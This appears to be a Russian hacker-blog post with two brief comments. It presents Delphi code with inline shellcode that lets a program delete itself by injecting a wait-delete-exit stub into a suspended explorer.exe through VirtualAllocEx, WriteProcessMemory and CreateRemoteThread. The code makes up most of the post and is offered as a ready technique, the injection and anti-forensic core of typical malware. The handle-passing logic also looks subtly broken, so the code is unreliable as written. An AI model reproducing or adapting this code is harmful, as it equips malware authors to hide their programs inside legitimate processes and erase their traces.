Не хотите cmd /c del тогда мы идем к вам
Один из самых хуевых способов самоудаления заключается в инжектации в чужой процесс особого шелсплоента типа:
WaitOfSingleObject,pid,-1
DeleteFile,fname
ExitProcess,0
А общий план таков:
- Получить PID себя
- Получить путь себя
- Открыть/создать процесс
- Записать в процесс путь
- Исполнить в процессе код
Пример:
var
SI:TStartupInfo;
PI:TProcessInformation;
hModule:DWORD;
tmpWrite:DWORD;
hThread:DWORD;
hProcess:DWORD;
aSploet:Pointer;
aModulePath:Pointer;
aGetModuleFileName:Pointer;
aExitProcess:Pointer;
aDeleteFile:Pointer;
aWaitForSingleObject:Pointer;
sploet: array[0 .. 40] of byte =(
$68,$FF,$FF,$FF,$FF,
$68,$00,$00,$00,$00,
$68,$00,$00,$00,$00,
$5E,
$FF,$D6,
$68,$00,$00,$00,$00,
$68,$00,$00,$00,$00,
$5E,
$FF,$D6,
$6A,$00,
$68,$00,$00,$00,$00,
$5E,
$FF,$D6
);
ModulePath:array [0..MAX_PATH] of Char;
begin
hProcess:=OpenProcess(PROCESS_ALL_ACCESS,True,GetCurrentProcessId);
GetModuleFileName(0,ModulePath,MAX_PATH);
hModule:=GetModuleHandle('KERNEL32.DLL');
aExitProcess:=GetProcAddress(hModule,'ExitProcess');
aDeleteFile:=GetProcAddress(hModule,'DeleteFileA');
aWaitForSingleObject:=GetProcAddress(hModule,'WaitForSingleObject');
CreateProcess(0,'explorer.exe',nil,nil,True, CREATE_SUSPENDED,nil,nil,SI,PI);
aSploet:=VirtualAllocEx(PI.hProcess,0,Length(sploet),MEM_COMMIT,PAGE_READWRITE);
aModulePath:=VirtualAllocEx(PI.hProcess,0,SizeOf(ModulePath),MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(PI.hProcess,aModulePath,@ModulePath,SizeOf(ModulePath),tmpWrite);
asm
pusha
lea esi,sploet
push hProcess
pop [esi+6]
push aWaitForSingleObject
pop [esi+11]
push aModulePath
pop [esi+19]
push aDeleteFile
pop [esi+24]
push aExitProcess
pop [esi+34]
popa
end;
WriteProcessMemory(PI.hProcess,aSploet,@sploet,sizeof(Sploet),tmpWrite);
CreateRemoteThread(PI.hProcess,0,0,aSploet,0,0,hThread);
MessageBox(0,’ visit:thehukker.blogspot.ru’,0,0);
end.
300 iq
ОтветитьУдалитьесли вы это видите: Sumhex#7148
ОтветитьУдалить